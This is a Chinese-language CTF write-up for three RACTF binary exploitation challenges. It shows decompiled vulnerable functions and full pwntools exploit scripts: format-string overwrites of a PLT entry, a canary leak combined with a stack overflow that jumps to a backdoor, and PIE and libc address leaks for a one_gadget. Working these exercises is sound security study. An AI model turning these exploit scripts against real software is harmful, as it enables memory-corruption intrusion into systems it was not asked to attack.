大不列颠的 Rating 0 赛,还是持续 4 天的
Not Really AI
分析
保护情况
全关
漏洞函数
简单格式化字符串
int response()
{
char s; // [esp+0h] [ebp-208h]
puts("How are you finding RACTF?");
fgets(&s, 0x200, stdin);
puts("I am glad you");
printf(&s);
return puts("\nWe hope you keep going!");
}
思路
有预留后门,直接找个跳转的地方改了就行,改了 puts plt 表。
exp
from pwn import *
context.log_level = 'debug'
#p = process("./nra")
p = remote("95.216.233.106",40592)
payload = '%69c%15$hhn%77c%16$hhn%114c%17$hhn%4c%18$hhn'+ p32(0x804c018)+p32(0x804c018+1)+p32(0x804c018+2)+p32(0x804c018+3)
p.recvuntil("RACTF?\n")
p.sendline(payload)
p.interactive()
Finches in a Stack
分析
保护情况
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞函数
两处栈溢出加上一个格式化字符串。
unsigned int say_hi()
{
char *v0; // eax
char v2; // [esp+3h] [ebp-25h]
char s[20]; // [esp+8h] [ebp-20h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
printf("Hi! What's your name? ");
gets(s); // 栈溢出
printf("Nice to meet you, ");
v0 = &s[strlen(s)];
*(_WORD *)v0 = '\n!';
v0[2] = 0;
printf(s); // 格式化字符串
puts("Do YOU want to pet my canary?");
gets(&v2);
return __readgsdword(0x14u) ^ v4;
}
思路
有预留的后门函数,再有一个长度足够的栈溢出,有可能控制 eip 跳转到后门。程序开了 canary 那肯定要绕过,刚好有格式化字符串可以泄露 canary 值。调试一下得到偏移为: 11
# 泄露 canary
payload = 'aaaa' + "%11$p"
栈溢出控制跳转:
payload = 'b'*25 + p32(canary) + p32(flag)*4
exp
from pwn import *
context.log_level = 'debug'
#p = process("./fias")
p = remote("95.216.233.106",45107)
elf = ELF("./fias")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
flag = 0x80491D2
payload = 'aaaa' + "%11$p"
p.recvuntil("name?")
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('!',drop=True),16)
log.info("canary:"+hex(canary))
payload = 'b'*25 + p32(canary) + p32(flag)*4
p.recvuntil("canary?\n")
#gdb.attach(p)
p.sendline(payload)
p.interactive()
Finches in a Pie
分析
保护情况
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞函数
和上一题一样的栈溢出和格式化字符串,区别是这题开了 PIE。
unsigned int say_hi()
{
char *v0; // eax
char v2; // [esp+3h] [ebp-25h]
char s[20]; // [esp+8h] [ebp-20h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
puts("CATCH HIM!\n");
puts("You got him! Thank you!");
puts("What's your name?");
gets(s); // 栈溢出
printf("Thank you, ");
v0 = &s[strlen(s)];
*(_WORD *)v0 = '\n!';
v0[2] = 0;
printf(s); // 格式化字符串
puts("Would you like some cake?");
gets(&v2); // 栈溢出
return __readgsdword(0x14u) ^ v4;
}
思路
和上题区别是开了 PIE ,不能直接得到后门地址,需要绕过 PIE 保护。一开始想着 partial write ,没有找到有能跳转的地方。后面改用泄露地址,计算出真实地址,从而绕过 PIE 。
用格式化字符串可以泄露出 text 段和 libc 的地址。实际测试泄露 libc 地址调用 onegadget 无效,最后还是乖乖泄露 text 段地址,调用预留后门。
'''
11 : canary 偏移
15 :0x13D9 对应的text实际地址(在main中)
'''
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
然后就是和上一题一样操作。
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
exp
泄露 text 段
from pwn import *
context.log_level = 'debug'
p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
text_leak = int(p.recvuntil('|',drop=True),16)
log.info("text_leak:"+hex(text_leak))
flag = text_leak - 0x1d0
log.info("flag:"+hex(flag))
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
p.recvuntil("cake?\n")
p.sendline(payload)
p.interactive()
泄露 libc (仅本地可用)
from pwn import *
context.log_level = 'debug'
p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
one_gadget = 0x5fbc5
payload = 'aaaa' + "%11$p" + "|" + "%23$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
libc_leak = int(p.recvuntil('|',drop=True),16)
log.info("libc_leak:"+hex(libc_leak))
libc_base = libc_leak - 99895
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
one_gadget += libc_base
log.info("one_gadget:"+hex(one_gadget))
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(one_gadget)
#payload = 'bbbbb'
p.recvuntil("cake?\n")
p.sendline(payload)
p.interactive()